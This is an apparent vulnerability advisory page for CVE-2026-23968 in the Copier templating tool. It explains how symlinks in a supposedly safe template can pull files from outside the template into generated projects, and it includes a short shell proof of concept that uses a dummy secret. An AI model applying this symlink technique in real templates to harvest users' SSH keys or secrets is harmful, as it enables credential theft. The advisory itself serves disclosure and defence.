CVE-2026-23968 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
Illegally include a file in the generated project via symlink resolution:
echo "s3cr3t" > secret.txt
mkdir src/
pushd src/
ln -s ../secret.txt stolen-secret.txt
popd
uvx copier copy src/ dst/
cat dst/stolen-secret.txt
#s3cr3t
Illegally include a directory in the generated project via symlink resolution:
mkdir secrets/
pushd secrets/
echo "s3cr3t" > secret.txt
popd
mkdir src/
pushd src/
ln -s ../secrets stolen-secrets
popd
uvx copier copy src/ dst/
tree dst/
# dst/
# └── stolen-secrets
# └── secret.txt
#
# 1 directory, 1 file
cat dst/stolen-secrets/secret.txt
# s3cr3t
n/a
n/a
n/a
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.